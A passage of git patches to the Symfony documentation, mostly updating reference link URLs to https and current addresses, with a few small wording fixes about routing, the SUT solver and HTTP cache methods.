-    http://localhost:8000/lucky/number
+That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number
 
 If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
@@ -123,7 +121,7 @@ You can now add your route directly *above* the controller:
         }
     }
 
-That's it! The page - ``http://localhost:8000/lucky/number`` will work exactly
+That's it! The page - http://localhost:8000/lucky/number will work exactly
 like before! Annotations are the recommended way to configure routes.
 
 .. _flex-quick-intro:
diff --git a/performance.rst b/performance.rst
index 9ec9e1f579d..14be901ece6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -218,10 +218,10 @@ Learn more
 * :doc:`/http_cache/varnish`
 
 .. _`byte code caches`: https://en.wikipedia.org/wiki/List_of_PHP_accelerators
-.. _`OPcache`: https://php.net/manual/en/book.opcache.php
+.. _`OPcache`: https://www.php.net/manual/en/book.opcache.php
 .. _`Composer's autoloader optimization`: https://getcomposer.org/doc/articles/autoloader-optimization.md
-.. _`APC`: https://php.net/manual/en/book.apc.php
+.. _`APC`: https://www.php.net/manual/en/book.apc.php
 .. _`APCu Polyfill component`: https://github.com/symfony/polyfill-apcu
-.. _`APCu PHP functions`: https://php.net/manual/en/ref.apcu.php
+.. _`APCu PHP functions`: https://www.php.net/manual/en/ref.apcu.php
 .. _`cachetool`: https://github.com/gordalina/cachetool
-.. _`open_basedir`: https://php.net/manual/ini.core.php#ini.open-basedir
+.. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 6117577ee8f..774150e2482 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -440,4 +440,4 @@ If the ``dir`` configuration is set and the ``is_bundle`` configuration
 is ``true``, the DoctrineBundle will prefix the ``dir`` configuration with
 the path of the bundle.
 
-.. _DBAL documentation: https://docs.doctrine-project.org/projects/doctrine-dbal/en/latest/reference/configuration.html
+.. _DBAL documentation: https://www.doctrine-project.org/projects/doctrine-dbal/en/current/reference/configuration.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f293c3a0a1a..0e3bea2f1ff 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -807,16 +807,16 @@ every request.
 
 Here are some common examples of how ``base_uri`` merging works in practice:
 
-===================  ==============  ======================
-``base_uri``         Relative URI    Actual Requested URI
-===================  ==============  ======================
-http://foo.com       /bar            http://foo.com/bar
-http://foo.com/foo   /bar            http://foo.com/bar
-http://foo.com/foo   bar             http://foo.com/bar
-http://foo.com/foo/  bar             http://foo.com/foo/bar
-http://foo.com       http://baz.com  http://baz.com
-http://foo.com/?bar  bar             http://foo.com/bar
-===================  ==============  ======================
+=======================  ==================  ==========================
+``base_uri``             Relative URI        Actual Requested URI
+=======================  ==================  ==========================
+http://example.org       /bar                http://example.org/bar
+http://example.org/foo   /bar                http://example.org/bar
+http://example.org/foo   bar                 http://example.org/bar
+http://example.org/foo/  bar                 http://example.org/foo/bar
+http://example.org       http://symfony.com  http://symfony.com
+http://example.org/?bar  bar                 http://example.org/bar
+=======================  ==================  ==========================
 
 bindto
 ......
@@ -3087,25 +3087,25 @@ Defines the kind of workflow that is going to be created, which can be either
 a normal workflow or a state machine. Read :doc:`this article </workflow/workflow-and-state-machine>`
 to know their differences.
 
-.. _`HTTP Host header attacks`: http://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
+.. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
-.. _`Doctrine Cache`: http://docs.doctrine-project.org/projects/doctrine-common/en/latest/reference/caching.html
+.. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
 .. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
 .. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
-.. _`blue/green deployment`: http://martinfowler.com/bliki/BlueGreenDeployment.html
+.. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
 .. _`gulp-rev`: https://www.npmjs.com/package/gulp-rev
 .. _`webpack-manifest-plugin`: https://www.npmjs.com/package/webpack-manifest-plugin
-.. _`error_reporting PHP option`: https://secure.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
+.. _`error_reporting PHP option`: https://www.php.net/manual/en/errorfunc.configuration.php#ini.error-reporting
 .. _`CSRF security attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
-.. _`session.sid_length PHP option`: https://php.net/manual/session.configuration.php#ini.session.sid-length
-.. _`session.sid_bits_per_character PHP option`: https://php.net/manual/session.configuration.php#ini.session.sid-bits-per-character
+.. _`session.sid_length PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-length
+.. _`session.sid_bits_per_character PHP option`: https://www.php.net/manual/session.configuration.php#ini.session.sid-bits-per-character
 .. _`X-Robots-Tag HTTP header`: https://developers.google.com/search/reference/robots_meta_tag
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`default_socket_timeout`: https://php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
+.. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`PEM formatted`: https://en.wikipedia.org/wiki/Privacy-Enhanced_Mail
 .. _`haveibeenpwned.com`: https://haveibeenpwned.com/
 .. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
-.. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/desktop/secauthn/microsoft-ntlm
+.. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f3e9e0f5532..a4a84a7859c 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -756,7 +756,7 @@ role inheritance rules by creating a role hierarchy, as explained in
 
 .. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
 .. _`libsodium`: https://pecl.php.net/package/libsodium
-.. _`Session Fixation`: https://www.owasp.org/index.php/Session_fixation
+.. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
 .. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
 .. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
 .. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 8b68f59bea2..5b149f0bf5f 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -173,4 +173,4 @@ This matches the pattern used for the `HTML5 email input element`_.
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
-.. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#email-state-typeemail
+.. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index f1171a5c82d..8c77fb008cb 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -395,5 +395,5 @@ The message that is displayed if the uploaded file is only partially uploaded.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/index.html
-.. _`Wikipedia: Binary prefix`: http://en.wikipedia.org/wiki/Binary_prefix
+.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`Wikipedia: Binary prefix`: https://en.wikipedia.org/wiki/Binary_prefix
diff --git a/reference/constraints/GreaterThan.rst b/reference/constraints/GreaterThan.rst
index a9a872e04e4..d27017fdbe5 100644
--- a/reference/constraints/GreaterThan.rst
+++ b/reference/constraints/GreaterThan.rst
@@ -313,4 +313,4 @@ Parameter                      Description
 
 .. include:: /reference/constraints/_comparison-value-option.rst.inc
 
-.. _`accepted by the DateTime constructor`: https://php.net/manual/en/datetime.formats.php
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
diff --git a/reference/constraints/GreaterThanOrEqual.rst b/reference/constraints/GreaterThanOrEqual.rst
index 39e10bd3f48..8a054e6bbb9 100644
--- a/reference/constraints/GreaterThanOrEqual.rst
+++ b/reference/constraints/GreaterThanOrEqual.rst
@@ -312,4 +312,4 @@ Parameter                      Description
 
 .. include:: /reference/constraints/_comparison-value-option.rst.inc
 
-.. _`accepted by the DateTime constructor`: https://php.net/manual/en/datetime.formats.php
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 57db19c8e93..e8b492bf4ae 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -552,5 +552,5 @@ options has been set.
 
 This message has no parameters.
 
-.. _`IANA website`: http://www.iana.org/assignments/media-types/image/index.html
-.. _`PHP GD extension`: http://php.net/manual/en/book.image.php
+.. _`IANA website`: http://www.iana.org/assignments/media-types/media-types.xhtml
+.. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php
diff --git a/reference/constraints/LessThan.rst b/reference/constraints/LessThan.rst
index 355bcadb7bd..abd0aab721c 100644
--- a/reference/constraints/LessThan.rst
+++ b/reference/constraints/LessThan.rst
@@ -312,4 +312,4 @@ Parameter                      Description
 
 .. include:: /reference/constraints/_comparison-value-option.rst.inc
 
-.. _`accepted by the DateTime constructor`: https://php.net/manual/en/datetime.formats.php
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
diff --git a/reference/constraints/LessThanOrEqual.rst b/reference/constraints/LessThanOrEqual.rst
index 7c0d1e6432c..42ec3e939e5 100644
--- a/reference/constraints/LessThanOrEqual.rst
+++ b/reference/constraints/LessThanOrEqual.rst
@@ -311,4 +311,4 @@ Parameter                      Description
 
 .. include:: /reference/constraints/_comparison-value-option.rst.inc
 
-.. _`accepted by the DateTime constructor`: https://php.net/manual/en/datetime.formats.php
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 1d2ee4d077f..b19b00b35b7 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -326,7 +326,7 @@ invalidMessage
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
 The message that will be shown if the underlying value is not a number (per
-the `is_numeric`_ PHP function).
+the :phpfunction:`is_numeric` PHP function).
 
 You can use the following parameters in this message:
 
@@ -454,5 +454,4 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-.. _`is_numeric`: https://php.net/manual/en/function.is-numeric.php
-.. _`accepted by the DateTime constructor`: https://php.net/manual/en/datetime.formats.php
+.. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index dfe96f8655e..8aa0edd1ba2 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -222,5 +222,5 @@ Also, you can use ``ctype_*()`` functions from corresponding
 Make sure that the proper :phpfunction:`locale <setlocale>` is set before
 using one of these.
 
-.. _built-in PHP extension: https://php.net/book.ctype
-.. _a list of ctype functions: https://php.net/ref.ctype
+.. _built-in PHP extension: https://www.php.net/book.ctype
+.. _a list of ctype functions: https://www.php.net/ref.ctype
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index b47ab33afc5..d1a52b2b967 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -304,7 +304,6 @@ The name of the repository method used to determine the uniqueness. If it's left
 blank, ``findBy()`` will be used. The method receives as its argument a
 ``fieldName => value`` associative array (where ``fieldName`` is each of the
 fields configured in the ``fields`` option). The method should return a
-`countable PHP variable`_.
+:phpfunction:`countable PHP variable <is_countable>`.
 
 .. _`race conditions`: https://en.wikipedia.org/wiki/Race_condition
-.. _`countable PHP variable`: https://php.net/manual/function.is-countable.php
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 29790fa63db..4406555ac30 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -132,6 +132,6 @@ The following PHP constants can also be used:
 
 All five versions are allowed by default.
 
-.. _`Universally unique identifier (UUID)`: http://en.wikipedia.org/wiki/Universally_unique_identifier
-.. _`RFC 4122`: http://tools.ietf.org/html/rfc4122
-.. _`UUID versions`: http://en.wikipedia.org/wiki/Universally_unique_identifier#Variants_and_versions
+.. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
+.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
+.. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 0054770bb80..7bb0aca674e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -1262,5 +1262,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: http://swiftmailer.org/docs/plugins.html
+.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index b2ff999fd28..c69f7fd05f0 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -258,4 +258,4 @@ Field Variables
 | ``date_pattern`` | ``string`` | A string with the date format to use.                                |
 +------------------+------------+----------------------------------------------------------------------+
 
-.. _`Bootstrap Datepicker`: https://github.com/eternicode/bootstrap-datepicker
+.. _`Bootstrap Datepicker`: https://github.com/uxsolutions/bootstrap-datepicker
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index e715a5f5430..fc9a2731af7 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -2,4 +2,6 @@
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 GMT and Tue, 19 Jan 2038 03:14:07 GMT on 32bit
-    systems. This is due to a `limitation in PHP itself <https://php.net/manual/en/function.date.php#refsect1-function.date-changelog>`_.
+    systems. This is due to a `limitation in PHP itself`_.
+
+.. _limitation in PHP itself: https://www.php.net/manual/en/function.date.php#refsect1-function.date-changelog
diff --git a/reference/forms/types/options/date_format.rst.inc b/reference/forms/types/options/date_format.rst.inc
index c7874b505bd..501f843bddb 100644
--- a/reference/forms/types/options/date_format.rst.inc
+++ b/reference/forms/types/options/date_format.rst.inc
@@ -30,5 +30,5 @@ For more information on valid formats, see `Date/Time Format Syntax`_::
     ``single_text`` widget.
 
 .. _`Date/Time Format Syntax`: http://userguide.icu-project.org/formatparse/datetime#TOC-Date-Time-Format-Syntax
-.. _`IntlDateFormatter::MEDIUM`: https://php.net/manual/en/class.intldateformatter.php#intl.intldateformatter-constants
+.. _`IntlDateFormatter::MEDIUM`: https://www.php.net/manual/en/class.intldateformatter.php#intl.intldateformatter-constants
 .. _`RFC 3339`: https://tools.ietf.org/html/rfc3339
diff --git a/reference/forms/types/options/model_timezone.rst.inc b/reference/forms/types/options/model_timezone.rst.inc
index a5fd1ee59b8..0ef0efe1b56 100644
--- a/reference/forms/types/options/model_timezone.rst.inc
+++ b/reference/forms/types/options/model_timezone.rst.inc
@@ -6,4 +6,4 @@
 Timezone that the input data is stored in. This must be one of the
 `PHP supported timezones`_.
 
-.. _`PHP supported timezones`: https://php.net/manual/en/timezones.php
+.. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php
diff --git a/reference/forms/types/options/view_timezone.rst.inc b/reference/forms/types/options/view_timezone.rst.inc
index 917f519e8aa..bf17d6c0e57 100644
--- a/reference/forms/types/options/view_timezone.rst.inc
+++ b/reference/forms/types/options/view_timezone.rst.inc
@@ -7,4 +7,4 @@ Timezone for how the data should be shown to the user (and therefore also
 the data that the user submits). This must be one of the
 `PHP supported timezones`_.
 
-.. _`PHP supported timezones`: https://php.net/manual/en/timezones.php
+.. _`PHP supported timezones`: https://www.php.net/manual/en/timezones.php
diff --git a/routing.rst b/routing.rst
index b3a558699f5..f36853188f3 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2250,6 +2250,6 @@ Learn more about Routing
     routing/*
 
 .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php
-.. _`PCRE Unicode properties`: http://php.net/manual/en/regexp.reference.unicode.php
+.. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php
 .. _`full param converter documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html
 .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle
diff --git a/security/csrf.rst b/security/csrf.rst
index 620df0f887e..b6186705c1c 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -163,4 +163,4 @@ to check its validity::
         }
     }
 
-.. _`Cross-site request forgery`: http://en.wikipedia.org/wiki/Cross-site_request_forgery
+.. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
diff --git a/security/custom_authentication_provider.rst b/security/custom_authentication_provider.rst
index bfc6b8ce3ba..d0db9c91168 100644
--- a/security/custom_authentication_provider.rst
+++ b/security/custom_authentication_provider.rst
@@ -636,5 +636,5 @@ The rest is up to you! Any relevant configuration items can be defined
 in the factory and consumed or passed to the other classes in the container.
 
 
-.. _`WSSE`: http://www.xml.com/pub/a/2003/12/17/dive.html
+.. _`WSSE`: https://www.xml.com/pub/a/2003/12/17/dive.html
 .. _`nonce`: https://en.wikipedia.org/wiki/Cryptographic_nonce
diff --git a/security/ldap.rst b/security/ldap.rst
index 087ae627794..d449a6851e5 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -541,6 +541,6 @@ Configuration example for form login and query_string
     Using the ``query_string`` config option without defining ``search_dn`` and
     ``search_password`` is deprecated since Symfony 4.4.
 
-.. _`LDAP PHP extension`: http://www.php.net/manual/en/intro.ldap.php
+.. _`LDAP PHP extension`: https://www.php.net/manual/en/intro.ldap.php
 .. _`RFC4515`: http://www.faqs.org/rfcs/rfc4515.html
 .. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection
diff --git a/serializer.rst b/serializer.rst
index 99b39d8aa56..064d34c01d1 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -239,8 +239,8 @@ take a look at how this bundle works.
     serializer/custom_normalizer
 
 .. _`API Platform`: https://api-platform.com
-.. _`JSON-LD`: http://json-ld.org
-.. _`Hydra Core Vocabulary`: http://hydra-cg.com
+.. _`JSON-LD`: https://json-ld.org
+.. _`Hydra Core Vocabulary`: http://www.hydra-cg.com
 .. _`OpenAPI`: https://www.openapis.org
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index c1bcb930612..1e38ad80e9a 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -34,4 +34,4 @@ Symfony includes the following normalizers but you can also
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
   normalize PHP object using `PHP reflection`_.
 
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`PHP reflection`: https://www.php.net/manual/en/book.reflection.php
diff --git a/setup.rst b/setup.rst
index 20cc14e6355..89806a1e43e 100644
--- a/setup.rst
+++ b/setup.rst
@@ -300,10 +300,10 @@ Learn More
 .. _`Main recipe repository`: https://github.com/symfony/recipes
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib
 .. _`Symfony Recipes documentation`: https://github.com/symfony/recipes/blob/master/README.rst
-.. _`iconv`: https://php.net/book.iconv
-.. _`JSON`: https://php.net/book.json
-.. _`Session`: https://php.net/book.session
-.. _`Ctype`: https://php.net/book.ctype
-.. _`Tokenizer`: https://php.net/book.tokenizer
-.. _`SimpleXML`: https://php.net/book.simplexml
-.. _`PCRE`: https://php.net/book.pcre
+.. _`iconv`: https://www.php.net/book.iconv
+.. _`JSON`: https://www.php.net/book.json
+.. _`Session`: https://www.php.net/book.session
+.. _`Ctype`: https://www.php.net/book.ctype
+.. _`Tokenizer`: https://www.php.net/book.tokenizer
+.. _`SimpleXML`: https://www.php.net/book.simplexml
+.. _`PCRE`: https://www.php.net/book.pcre
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index b06b64b7bad..a6a6c70e570 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -16,4 +16,4 @@ this safely by running:
     non-Symfony libraries to new versions that contain backwards-compatibility
     breaking changes.
 
-.. _`version constraints`: https://getcomposer.org/doc/01-basic-usage.md#package-versions
+.. _`version constraints`: https://getcomposer.org/doc/articles/versions.md
diff --git a/setup/built_in_web_server.rst b/setup/built_in_web_server.rst
index b8155a0302e..506e7d60f9c 100644
--- a/setup/built_in_web_server.rst
+++ b/setup/built_in_web_server.rst
@@ -123,5 +123,5 @@ When you finish your work, you can stop the web server with the following comman
 
     $ php bin/console server:stop
 
-.. _`built-in web server`: https://php.net/manual/en/features.commandline.webserver.php
-.. _`php.net`: https://php.net/manual/en/features.commandline.webserver.php#example-411
+.. _`built-in web server`: https://www.php.net/manual/en/features.commandline.webserver.php
+.. _`php.net`: https://www.php.net/manual/en/features.commandline.webserver.php#example-415
diff --git a/setup/flex.rst b/setup/flex.rst
index 87d40dd6c70..df1bf1eaa14 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -196,6 +196,6 @@ manually after a recipe is installed.
 .. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/config/services.yaml
 .. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
 .. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.3/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/3.3/bin/console
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/3.4/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/3.4/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker
diff --git a/setup/homestead.rst b/setup/homestead.rst
index c68790800d3..9802122a20d 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -76,4 +76,4 @@ developing your Symfony application!
 .. _`Vagrant`: https://www.vagrantup.com/
 .. _`the Homestead documentation`: https://laravel.com/docs/homestead#installation-and-setup
 .. _`Daily Usage`: https://laravel.com/docs/homestead#daily-usage
-.. _`this blog post`: https://www.whitewashing.de/2013/08/19/speedup_symfony2_on_vagrant_boxes.html
+.. _`this blog post`: https://beberlei.de/2013/08/19/speedup_symfony2_on_vagrant_boxes.html
diff --git a/testing.rst b/testing.rst
index b02a2dbd035..c2296f55879 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1085,5 +1085,5 @@ Learn more
 .. _`PHPUnit`: https://phpunit.de/
 .. _`documentation`: https://phpunit.readthedocs.io/
 .. _`PHPUnit Bridge component`: https://symfony.com/components/PHPUnit%20Bridge
-.. _`$_SERVER`: https://php.net/manual/en/reserved.variables.server.php
+.. _`$_SERVER`: https://www.php.net/manual/en/reserved.variables.server.php
 .. _`data providers`: https://phpunit.de/manual/current/en/writing-tests-for-phpunit.html#writing-tests-for-phpunit.data-providers
diff --git a/translation/message_format.rst b/translation/message_format.rst
index 4c660c7023a..a83a08215ac 100644
--- a/translation/message_format.rst
+++ b/translation/message_format.rst
@@ -470,6 +470,6 @@ The ``number`` formatter allows you to format numbers using Intl's :phpclass:`Nu
 
 .. _`online editor`: http://format-message.github.io/icu-message-format-for-translators/
 .. _`ICU MessageFormat`: http://userguide.icu-project.org/formatparse/messages
-.. _`switch statement`: https://php.net/control-structures.switch
+.. _`switch statement`: https://www.php.net/control-structures.switch
 .. _`Language Plural Rules`: http://www.unicode.org/cldr/charts/latest/supplemental/language_plural_rules.html
-.. _`constants defined by the IntlDateFormatter class`: https://php.net/manual/en/class.intldateformatter.php
+.. _`constants defined by the IntlDateFormatter class`: https://www.php.net/manual/en/class.intldateformatter.php
diff --git a/validation.rst b/validation.rst
index 935cd50ffa6..fd18f003d56 100644
--- a/validation.rst
+++ b/validation.rst
@@ -739,4 +739,4 @@ Learn more
     /validation/*
 
 .. _Validator: https://github.com/symfony/validator
-.. _JSR303 Bean Validation specification: http://jcp.org/en/jsr/detail?id=303
+.. _JSR303 Bean Validation specification: https://jcp.org/en/jsr/detail?id=303
diff --git a/web_link.rst b/web_link.rst
index c21a51aedf3..9a35230b8db 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -188,9 +188,9 @@ You can also add links to the HTTP response directly from controllers and servic
 .. _`Docker installer and runtime for Symfony`: https://github.com/dunglas/symfony-docker
 .. _`"as" attribute`: https://w3c.github.io/preload/#as-attribute
 .. _`the Priority Hints specification`: https://wicg.github.io/priority-hints/
-.. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-(http/2)
+.. _`the Preload specification`: https://www.w3.org/TR/preload/#server-push-http-2
 .. _`Cloudflare`: https://blog.cloudflare.com/announcing-support-for-http-2-server-push-2/
-.. _`Fastly`: https://docs.fastly.com/guides/performance-tuning/http2-server-push
+.. _`Fastly`: https://docs.fastly.com/en/guides/http2-server-push
 .. _`Akamai`: https://blogs.akamai.com/2017/03/http2-server-push-the-what-how-and-why.html
 .. _`link defined in the HTML specification`: https://html.spec.whatwg.org/dev/links.html#linkTypes
 .. _`PSR-13`: https://www.php-fig.org/psr/psr-13/
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index 380f7a8c9c9..5b087fc405b 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -310,5 +310,5 @@ The PlantUML image will look like this:
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
 
 .. _`Graphviz`: http://www.graphviz.org
-.. _`PlantUML`: http://plantuml.com/
-.. _`PlantUML's color list`: http://plantuml.com/en/color
+.. _`PlantUML`: https://plantuml.com/
+.. _`PlantUML's color list`: https://plantuml.com/color

From aeb4053df1df4f9aaa1e51792d092d66304236f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 25 Feb 2020 18:31:25 +0100
Subject: [PATCH 0416/7107] Fixed CoverageListener usage with custom SUT solver

See https://github.com/symfony/symfony/blob/d0e5593b1fcc88c0738f1adf2c452f84f19207f3/src/Symfony/Bridge/PhpUnit/Legacy/CoverageListenerTrait.php#L81-L95
---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index a99752764d9..3ed9cdc5e5a 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -710,7 +710,7 @@ your application, you can use your own SUT (System Under Test) solver:
     </listeners>
 
 The ``My\Namespace\SutSolver::solve`` can be any PHP callable and receives the
-current test classname as its first argument.
+current test as its first argument.
 
 Finally, the listener can also display warning messages when the SUT solver does
 not find the SUT:

From 4b16e1bde378d4fe5d006328c8557b1ef6ca7d8e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Feb 2020 08:01:51 +0100
Subject: [PATCH 0417/7107] Remove colon

---
 components/http_foundation.rst | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index f7ec0c65a54..4ac6d3865ba 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -398,17 +398,17 @@ Managing the HTTP Cache
 The :class:`Symfony\\Component\\HttpFoundation\\Response` class has a rich set
 of methods to manipulate the HTTP headers related to the cache:
 
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setPublic`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setPrivate`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::expire`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setExpires`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setMaxAge`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setSharedMaxAge`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setTtl`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setClientTtl`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setLastModified`;
-* :method:`Symfony\\Component\\HttpFoundation\\Response::setEtag`;
